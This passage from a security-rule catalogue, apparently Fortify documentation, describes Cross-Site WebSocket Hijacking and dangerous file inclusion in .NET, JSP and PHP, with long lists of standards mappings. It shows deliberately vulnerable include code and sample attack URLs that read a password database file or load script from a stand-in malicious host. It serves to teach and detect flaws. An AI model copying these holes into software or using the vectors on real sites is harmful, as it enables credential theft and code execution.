[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [9] CWE ID 352
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [9] CWE ID 352
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [9] CWE ID 352
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [9] CWE ID 352
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [9] CWE ID 352
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [4] CWE ID 352
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-2 Identification and Authentication (Organizational Users) (P1), SC-23 Session Authenticity (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-2 Identification and Authentication (Organizational Users), SC-23 Session Authenticity, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 4.2.2 Operation Level Access Control (L1 L2 L3), 13.2.3 RESTful Web Service Verification Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[15] Standards Mapping - OWASP Top 10 2007 A5 Cross Site Request Forgery (CSRF)
[16] Standards Mapping - OWASP Top 10 2010 A5 Cross-Site Request Forgery (CSRF)
[17] Standards Mapping - OWASP Top 10 2013 A8 Cross-Site Request Forgery (CSRF)
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.9
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.9
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.9
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.9
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.9
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[30] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 352
[31] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 352
[32] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 352
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3585 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3585 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3585 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3585 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3585 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3585 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3585 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Request Forgery (WASC-09)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Request Forgery
desc.semantic.dotnet.cross_site_websocket_hijacking
Abstract
The server fails to verify requests' origins, thereby accepting cross-domain requests which may be used by an attacker to hijack bidirectional WebSocket connections.
Explanation
Cross-Site WebSocket Hijacking occurs when a user is tricked into visiting a malicious site that will establish a WebSocket connection with a legitimate backend server. The initial HTTP request used to ask the server for upgrading to WebSocket protocol is a regular HTTP request and so, the browser will send any cookies bound to the target domain including any session cookies. If the server fails to verify the Origin header, it will allow any malicious site to impersonate the user and establish a bidirectional WebSocket connection without the user even noticing.
References
[1] Christian Schneider Cross-Site WebSocket Hijacking
[2] Standards Mapping - Common Weakness Enumeration CWE ID 352
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [9] CWE ID 352
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [9] CWE ID 352
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [9] CWE ID 352
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [9] CWE ID 352
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [9] CWE ID 352
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [4] CWE ID 352
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-2 Identification and Authentication (Organizational Users) (P1), SC-23 Session Authenticity (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-2 Identification and Authentication (Organizational Users), SC-23 Session Authenticity, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 4.2.2 Operation Level Access Control (L1 L2 L3), 13.2.3 RESTful Web Service Verification Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[15] Standards Mapping - OWASP Top 10 2007 A5 Cross Site Request Forgery (CSRF)
[16] Standards Mapping - OWASP Top 10 2010 A5 Cross-Site Request Forgery (CSRF)
[17] Standards Mapping - OWASP Top 10 2013 A8 Cross-Site Request Forgery (CSRF)
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.9
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.9
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.9
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.9
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.9
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[30] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 352
[31] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 352
[32] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 352
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3585 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3585 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3585 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3585 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3585 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3585 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3585 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Request Forgery (WASC-09)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Request Forgery
desc.semantic.java.cross_site_websocket_hijacking
Abstract
The field has been annotated as dangerous. All uses will be flagged.
Explanation
The annotation FortifyDangerous has been applied to this field. This is used to indicate that it is dangerous and all uses should be examined for safety.
References
[1] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
desc.structural.java.dangerous_field
Abstract
Allowing unvalidated user input to control files that are included dynamically in a HTML file can lead to malicious code execution.
Explanation
Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

Example 1: The following code takes a user specified template name and includes it in the rendered HTML page.


...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...


In Example 1, an attacker may take complete control of the dynamic include statement by supplying a malicious value for includedURL, which causes the program to include a file from an external site.

If the attacker specifies a valid file to a dynamic include statement, .NET will insert the contents of that file into the HTML file sent to the user. In the case of a plain text file, such as web.config, the file might be rendered as part of the HTML output. Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.dotnet.dangerous_file_inclusion
Abstract
Allowing unvalidated user input to control files that are included dynamically in a JSP can lead to malicious code execution.
Explanation
Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

Example 1: The following is an example of Local File Inclusion vulnerability. The sample code takes a user specified template name and includes it in the JSP page to be rendered.

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

If the attacker specifies a valid file to the dynamic include statement, the contents of that file will be passed to the JSP interpreter to be rendered on the page.

In the case of an attack vector of the form

specialpage.jsp?template=/WEB-INF/database/passwordDB

the JSP interpreter will render the contents of the /WEB-INF/database/passwordDB file to the JSP page thus compromising the security of the system.

Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.

Example 2: The sample code uses the c:import tag to import a user specified remote file into the current JSP page.

...
<c:import url="<%= request.getParameter("privacy")%>">
...

An attack vector of the form

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

can inject malicious code into the current JSP page from a remote site controlled by the attacker.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.java.dangerous_file_inclusion
Abstract
Allowing unvalidated user input to control files that are included dynamically in PHP can lead to malicious code execution.
Explanation
Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

File inclusion vulnerabilities are one of the most prolific and severe vulnerabilities in PHP applications. Prior to PHP 4.2.0, PHP installations shipped with the register_globals option enabled by default, which permits attackers to easily overwrite internal server variables. Although disabling register_globals can limit a program's exposure to file inclusion vulnerabilities, these problems still occur in modern PHP applications.

Example 1: The following code includes a file under the application defined $server_root in a template.


...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...


If register_globals is set to on, an attacker may overwrite the $server_root value by supplying $server_root as a request parameter, thereby taking partial-control of the dynamic include statement.

Example 2: The following code takes a user specified template name and includes it in the PHP page to be rendered.


...
<?php include($_GET['headername']); ?$gt;
...


In Example 2, an attacker may take complete control of the dynamic include statement by supplying a malicious value for headername, which causes the program to include a file from an external site.

If the attacker specifies a valid file to a dynamic include statement, the contents of that file will be passed to the PHP interpreter. In the case of a plain text file, such as /etc/shadow, the file might be rendered as part of the HTML output. Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.
References
[1] Using Register Globals PHP Guide
[2] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
